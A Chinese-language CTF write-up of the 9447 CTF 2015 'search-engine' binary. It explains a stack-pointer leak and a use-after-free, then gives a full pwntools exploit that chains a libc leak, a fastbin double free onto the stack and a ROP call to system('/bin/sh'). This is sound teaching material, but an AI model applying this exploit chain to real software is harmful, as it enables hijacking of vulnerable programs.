9447ctf2015-search-engine

Introduction

与 0ctf2017-babyheap 类似,考察的依然是 fastbin attack

search-engine

这题可以用相同的方法,double free 泄露 libc ,写 __malloc_hook 来 getshell,就不多说了,exploit 代码 exp2.py

这里讲讲学到的新姿势。

Analysis

$ file search 
search: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=4f5b70085d957097e91f940f98c0d4cc6fb3343f, stripped

$ checksec search 

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

64位的程序,开启 NX 和 Stack Canary,没有 debug symbols。

$ ./search 
1: Search with a word
2: Index a sentence
3: Quit

  • Search

    先分配一块内存作为输入的缓冲区,再用 memcpy() 判断是否有匹配的内存,如果查找到让用户选择是否释放该内存,最后释放掉输入缓冲内存。

  • Index

    malloc 自定义大小的 chunk,输入字符串,以空格符为间隔分割成不同的单词,每个单词用一块 0x30 字节的 chunk 存储索引,chunk 的尾部存储上一个索引,删除操作只释放掉存储字符串的 chunk,存储字符串索引的 chunk 并不被释放,可以利用这个漏洞泄露内存。

还有一个值得注意的地方,程序的 0x400a40 (read_num) 函数,如果输入的字符串长度为48个字符的话,字符串的尾部不会加上 null,而在内存中字符串是以 null为结束符的,那么当该字符串被打印时,内存中与字符串相邻的内容直到遇到 null 结束符为止也会被打印出来,这可以用来泄露 stack 指针。

现在程序的逻辑已经了解清楚,一般我们的目标是调用 system(‘/bin/sh’),这需要泄露 libc 地址。要执行 system 需要知道返回地址,总的来说我们的利用方法分为以下步骤:

  1. 泄露 stack - 获得返回地址
  2. 泄露 libc - 获得 system 地址
  3. 改写返回地址调用 system(‘/bin/sh’)

Leak Stack

尝试输入 48 个字符,看它会打印什么

$ ./search 
1: Search with a word
2: Index a sentence
3: Quit
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA is not a valid number

程序并没有终止,当再次输入时,打印出了一个指针

$ ./search 
1: Search with a word
2: Index a sentence
3: Quit
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA is not a valid number
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA �6
� is not a valid number

其实输入的同时在 gdb 中查看栈会发现第一次读取的字符串后面的内存总是空的,第二次读取的字符与之相邻的是指向上一个读取的字符串的指针,那么 leak stack 的脚本可以写成:

def leak_stack():
    p.recvuntil("3: Quit\n")
    p.sendline("A"*48)
    p.recvline()
    p.sendline("A"*48)
    leak = p.recvline().split(" ")[0][48:]

    if leak != "":
    	return u64(leak.ljust(8, "\x00"))
    else:
    	log.info("leak_stack: fail!")
    	p.sendline("3")
    	exit()

不是每次都能泄露成功,多试几次。

Leak Libc

程序的 index 选项分配的字符串索引在字符串被删除后并未被释放。利用这个 uaf 如果能够分配一个 sentence 在字符串索引中,那么当 search 字符串匹配时就可以泄露 sentence 中我们所构造的地址信息,实现任意地址读取。

但是当程序的一个 sentence 被删除时,它所在的内存也被清空了,我们还需要通过 search 的空字符检查,然后再 search 一个空字符即可匹配到对应的 sentence

利用步骤如下:

  1. 分配一个与字符串索引大小一致的 sentence (0x30字节大小)。
  2. 删除该 sentence
  3. 然后创建一个大于0x30字节的 sentence,这样它被分配到一块新的内存,而它的字符串索引被分配到上一个 sentence的位置。
  4. 这时上一个 sentence 的字符串索引已不为空,使用 search 空字符与其匹配并删除它,它任然是一个字符串索引。
  5. 现在使用 sentence 分配一个 0x30 大小的 chunk 落在字符串索引上,将其字符指针设置为 GOT 表地址。
  6. 当我们 search GOT 表上的字符,GOT 表上的函数地址会被打印出来。
def leak_libc():
    index_sentence(('a'*12 + ' b ').ljust(40, 'c'))

    search('a' * 12)
    p.sendline('y')
    
    index_sentence('d' * 64)

    search('\x00')
    p.sendline('y')

    node = ''
    node += p64(0x400E90) # word pointer "Enter"
    node += p64(5) # word length
    node += p64(0x602028) # sentence pointer (GOT address of free)
    node += p64(64) # length of sentence
    node += p64(0x00000000) # next pointer is null
    assert len(node) == 40

    index_sentence(node)

    # makes parsing out the leaked address easier below.
    p.clean()

    search('Enter')
    p.recvuntil('Found 64: ')
    leak = u64(p.recvline()[:8])
    p.sendline('n') # deleting it isn't necessary
    return leak

这里还是可以使用 small/large chunk 泄露 libc。

Exploit

接下来就是已经熟悉的 double free,只不过目标是返回地址,可以寻找栈上合适的地址作为构造的chunk,可以使用 ROPgadget 找到一个 pop_rdi_ret 地址给 system 提供参数,完整代码在 exp.py exp4.py

#!/usr/bin/env python2

from pwn import *

context(arch="amd64", os="linux")

p = process('./search-bf61fbb8fa7212c814b2607a81a84adf')

pop_rdi_ret = 0x400e23
system_offset = 0x46590
puts_offset = 0x6fd60
binsh_offset = 1558723

def leak_stack():
    p.sendline('A'*48)
    p.recvuntil('Quit\n')
    p.recvline()

    # doesn't work all the time
    p.sendline('A'*48)
    leak = p.recvline().split(' ')[0][48:]
    return int(leak[::-1].encode('hex'), 16)

def leak_libc():
    # this sentence is the same size as a list node
    index_sentence(('a'*12 + ' b ').ljust(40, 'c'))

    # delete the sentence
    search('a' * 12)
    p.sendline('y')

    # the node for this sentence gets put in the previous sentence's spot.
    # note we made sure this doesn't reuse the chunk that was just freed by
    # making it 64 bytes
    index_sentence('d' * 64)

    # free the first sentence again so we can allocate something on top of it.
    # this will work because 1) the sentence no longer starts with a null byte
    # (in fact, it should be clear that it starts a pointer to 64 d's), and 2)
    # the location where our original string contained `b` is guaranteed to be
    # zero. this is because after the original sentence was zeroed out, nothing
    # was allocated at offset 12, which is just padding in the structure. if
    # we had made the first word in the string 16 bytes instead of 12, then that
    # would put 'b' at a location where it would not be guaranteed to be zero.
    search('\x00')
    p.sendline('y')

    # make our fake node
    node = ''
    node += p64(0x400E90) # word pointer "Enter"
    node += p64(5) # word length
    node += p64(0x602028) # sentence pointer (GOT address of free)
    node += p64(64) # length of sentence
    node += p64(0x00000000) # next pointer is null
    assert len(node) == 40

    # this sentence gets allocated on top of the previous sentence's node.
    # we can thus control the sentence pointer of that node and leak memory.
    index_sentence(node)

    # this simply receives all input from the binary and discards it, which
    # makes parsing out the leaked address easier below.
    p.clean()

    # leak the libc address
    search('Enter')
    p.recvuntil('Found 64: ')
    leak = u64(p.recvline()[:8])
    p.sendline('n') # deleting it isn't necessary
    return leak

def index_sentence(s):
    p.sendline('2')
    p.sendline(str(len(s)))
    p.sendline(s)

def search(s):
    p.sendline('1')
    p.sendline(str(len(s)))
    p.sendline(s)

def make_cycle():
    index_sentence('a'*54 + ' d')
    index_sentence('b'*54 + ' d')
    index_sentence('c'*54 + ' d')

    search('d')
    p.sendline('y')
    p.sendline('y')
    p.sendline('y')
    search('\x00')
    p.sendline('y')
    p.sendline('n')

def make_fake_chunk(addr):
    # set the fwd pointer of the chunk to the address we want
    fake_chunk = p64(addr)
    index_sentence(fake_chunk.ljust(56))

def allocate_fake_chunk(binsh_addr, system_addr):
    # allocate twice to get our fake chunk
    index_sentence('A'*56)
    index_sentence('B'*56)

    # overwrite the return address
    buf = 'A'*30
    buf += p64(pop_rdi_ret)
    buf += p64(binsh_addr)
    buf += p64(system_addr)
    buf = buf.ljust(56, 'C')

    index_sentence(buf)

def main():
    stack_leak = leak_stack()

    # This makes stack_addr + 0x8 be 0x40
    stack_addr = stack_leak + 0x22 - 8

    log.info('stack leak: %s' % hex(stack_leak))
    log.info('stack addr: %s' % hex(stack_addr))

    libc_leak = leak_libc()
    libc_base = libc_leak - puts_offset
    system_addr = libc_base + system_offset
    binsh_addr = libc_base + binsh_offset

    log.info('libc leak: %s' % hex(libc_leak))
    log.info('libc_base: %s' % hex(libc_base))
    log.info('system addr: %s' % hex(system_addr))
    log.info('binsh addr: %s' % hex(binsh_addr))

    make_cycle()
    make_fake_chunk(stack_addr)
    allocate_fake_chunk(binsh_addr, system_addr)

    p.interactive()

if __name__ == '__main__':
    main()

Reference